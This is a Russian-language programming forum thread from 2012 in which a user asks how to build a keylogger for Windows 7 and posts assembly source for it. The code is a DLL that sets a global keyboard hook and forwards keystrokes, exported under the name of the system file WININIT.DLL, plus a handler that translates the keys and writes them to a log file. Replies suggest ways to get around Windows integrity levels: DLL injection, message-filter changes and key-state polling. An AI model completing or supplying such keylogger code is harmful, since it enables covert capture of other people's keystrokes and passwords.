KeyLog Win7

Discussion in 'WASM.WIN32' started by dgs, Jan 8, 2012.

  1. dgs

    dgs New Member

    Blog Posts:
    0
    Joined:
    Jun 23, 2008
    Messages:
    434
    Здравствуйте. Интересуют способы написания клавиатурных шпионов для Windows 7. Делал хук на клавиатуру, проблема заключается в том, что если хук поставлен с правами администратора, я не могу перехватить клавиатурные нажатия адресованные приложениям с правами юзера и на оборот, может надо использовать другой метод? Или ошибка в моём коде?. Так же не всегда соблюдается регистр символов, видимо я не правильно передаю скан код в ToAsciiEx, помогите пожалуйста.

    DLL
    Code (Text):
    1. format PE GUI 4.0 DLL
    2. entry DllEntryPoint
    3.  
    4.         WM_KEYEVENT     = WM_USER+1
    5.  
    6. include 'win32a.inc'
    7.  
    8. section '.text' code readable writable executable
    9.  
    10.         hook            dd ?
    11.         hinst           dd ?
    12.  
    13.         _class          db 'NEXUZ_WIN32', 0
    14.  
    15. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
    16.  
    17.         mov     eax, [hinstDLL]
    18.         mov     [hinst], eax
    19.         mov     eax, TRUE
    20.         ret
    21. endp
    22.  
    23. proc SetHook flag
    24.  
    25.         mov     eax, [flag]
    26.         or      eax, eax
    27.         jz      @F
    28.         invoke  SetWindowsHookEx, WH_KEYBOARD, KeyboardProc, [hinst], 0
    29.         mov     [hook], eax
    30.         ret
    31.   @@:   invoke  UnHookWindowsHookEx, [hook]
    32.         ret
    33. endp
    34.  
    35. proc KeyboardProc, lcode, wparam, lparam
    36.  
    37.         cmp     [lcode], HC_ACTION
    38.         jnz     @close
    39.         test    [lparam], 80000000h
    40.         jnz     @close
    41.  
    42.         invoke  FindWindow, _class, _class
    43.         invoke  PostMessage, eax, WM_KEYEVENT, [wparam], [lparam]
    44.  
    45.   @close:
    46.         invoke  CallNextHookEx, [hook], [lcode], [wparam], [lparam]
    47.         ret
    48. endp
    49.  
    50. section '.idata' import data readable writeable
    51.  
    52.   library user,'USER32.DLL'
    53.  
    54.   import user,\
    55.          FindWindow,'FindWindowA',\
    56.          PostMessage,'PostMessageA',\
    57.          SetWindowsHookEx,'SetWindowsHookExA',\
    58.          UnHookWindowsHookEx,'UnhookWindowsHookEx',\
    59.          CallNextHookEx,'CallNextHookEx'
    60.  
    61. section '.edata' export data readable
    62.  
    63.   export 'WININIT.DLL',\
    64.          SetHook, 'SetHook'
    65.  
    66. section '.reloc' fixups data discardable
    Ну и в главном приложении при получении сообщения WM_KEYEVENT:
    Code (Text):
    1. [KeybrdState] - указатель, на 256 байт выделенных VirtualAlloc
    2. key rb 16
    3.  
    4. ...
    5.  
    6.   .wmkeyevent:
    7.         invoke  GetKeyboardState, [KeybrdState]
    8.         movzx   eax, byte[lparam+2]
    9.         invoke  ToAsciiEx, [wparam], eax, [KeybrdState], key, 0, ebx
    10.         test    eax, eax
    11.         jz      .finish
    12.         invoke  lstrlen, key
    13.         invoke  _lwrite, [hlog], key, eax
    14.         inc     eax
    15.         jz      error
    16.         invoke  FlushFileBuffers, [hlog]
    17.         cld
    18.         mov     edi, key
    19.         xor     eax, eax
    20.         mov     ecx, 12
    21.      @@:stosb
    22.         loop    @B
    23.         xor     eax, eax
    24.         jmp     .finish
     
  2. Malfoy

    Malfoy New Member

    Blog Posts:
    0
    Joined:
    Jan 2, 2012
    Messages:
    698
    Захват RIT. Остальное унылое дерьмо, не выше не ниже(IRP).
     
  3. dgs

    dgs New Member

    Blog Posts:
    0
    Joined:
    Jun 23, 2008
    Messages:
    434
    Я так понимаю, мне в моём случае драйвер надо делать?
     
  4. K10

    K10 New Member

    Blog Posts:
    0
    Joined:
    Oct 3, 2008
    Messages:
    1,590
    А длл подгружается в те процессы?
    Возможно, что длл не грузится в процесс с другим integrity level?
     
  5. dgs

    dgs New Member

    Blog Posts:
    0
    Joined:
    Jun 23, 2008
    Messages:
    434
    0_о Это как?

    Вообще, по идеи, всё должно работать в Ring3 и от уровня user. Например Punto Switcher как то же работает, но вот как?
     
  6. sysexit

    sysexit New Member

    Blog Posts:
    0
    Joined:
    Aug 27, 2010
    Messages:
    176
    Внедряет DLL, и он от админа работает.
     
  7. K10

    K10 New Member

    Blog Posts:
    0
    Joined:
    Oct 3, 2008
    Messages:
    1,590
    dgs
    ну так SetWindowsHookEx же?
     
  8. K10

    K10 New Member

    Blog Posts:
    0
    Joined:
    Oct 3, 2008
    Messages:
    1,590
  9. dgs

    dgs New Member

    Blog Posts:
    0
    Joined:
    Jun 23, 2008
    Messages:
    434
    Объясните пожалуйста подробнее, я не очень пойму, вот в XP делал один вызов LoadLibrary, дальше GetProcAdress и вызывал SetHook (см мою Dll), а внедрять в процессы - это как?

    Устанавливается, от админа, но автозапуск насколько я знаю, в семерки при включенном UAC с правами администратора - запрещен, если программа не запросит повышение прав, но тогда вылетит сообщение UAC. bypas для меня не подходит.
     
  10. Apocalypse

    Apocalypse New Member

    Blog Posts:
    0
    Joined:
    May 25, 2011
    Messages:
    16
    DLL должена работать в АП того процесса, в котором нужен перехват клавиш.
     
  11. vasyapupkin

    vasyapupkin New Member

    Blog Posts:
    0
    Joined:
    Feb 15, 2012
    Messages:
    5
    Я тут как-то пару лет назад писал аналог ПунтоСвитчера и он работал в юзермоде в IE7.

    Тоже долго мучился, потом нашел на codeproject:

    Code (Text):
    1.     // Загружаем user32.dll
    2.     hinstUser32Lib = AfxLoadLibrary(TEXT("user32"));
    3.     if (hinstUser32Lib != NULL)
    4.     {
    5.         // Получаем указатель на функцию ChangeWindowMessageFilter
    6.         // Функция существует только в Windows Vista
    7.         cwmfProcAdd = (CWMF) GetProcAddress(hinstUser32Lib,
    8.             "ChangeWindowMessageFilter");
    9.  
    10.         if (NULL != cwmfProcAdd)
    11.         {
    12.             // Разрешаем сообщение UWM_INPUTLANGCHANGE и WM_COPYDATA
    13.             // от приложений, работающих в Protected Mode (IE7 в Windows Vista)
    14.             (cwmfProcAdd)(UWM_INPUTLANGCHANGE, MSGFLT_ADD);
    15.             (cwmfProcAdd)(WM_COPYDATA, MSGFLT_ADD);
    16.         }
    17.     }
     
  12. teXture

    teXture New Member

    Blog Posts:
    0
    Joined:
    Apr 17, 2011
    Messages:
    17
    dgs
    Почему бы вам циклический опрос не сделать с помощью функции GetAsynсKeyState. Этот метод на Win7 работает и не надо с DLL’ой таскаться. Вот тут есть пример на fasm:
    https://vazonez.com/forum/index.php?topic=216.0